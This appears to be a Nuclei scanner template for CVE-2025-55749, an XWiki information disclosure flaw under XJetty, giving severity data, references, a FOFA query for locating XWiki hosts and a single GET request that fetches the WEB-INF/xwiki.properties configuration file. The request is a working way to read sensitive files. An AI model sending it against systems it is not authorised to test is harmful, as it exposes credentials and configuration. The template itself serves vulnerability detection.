XWiki 16.7.0 to 16.10.11, 17.4.4, and 17.7.0 using XJetty contains an information disclosure vulnerability caused by exposed context allowing static access to files in webapp/ folder, letting attackers access sensitive files, exploit requires use of XJetty package.
id: CVE-2025-55749
info:
name: XWiki - Information Disclosure
author: DhiyaneshDk
severity: high
description: |
XWiki 16.7.0 to 16.10.11, 17.4.4, and 17.7.0 using XJetty contains an information disclosure vulnerability caused by exposed context allowing static access to files in webapp/ folder, letting attackers access sensitive files, exploit requires use of XJetty package.
impact: |
Attackers can access sensitive files including credentials, leading to information disclosure.
remediation: |
Update to versions 16.10.11, 17.4.4, or 17.7.0 or later.
reference:
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-53gx-j3p6-2rw9
- https://nvd.nist.gov/vuln/detail/CVE-2025-55749
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-55749
epss-score: 0.01471
epss-percentile: 0.72473
cwe-id: CWE-284
metadata:
verified: true
max-request: 1
fofa-query: app="XWIKI-Platform"
tags: cve,cve2025,xwiki,exposure,vuln,vkev
http:
- method: GET
path:
- "{{BaseURL}}/webapps/xwiki/WEB-INF/xwiki.properties"
matchers-condition: and
matchers:
- type: word
part: response
words:
- "diff.xml.dataURI"
- "core.renderingcache.enabled"
condition: and
- type: status
status:
- 200
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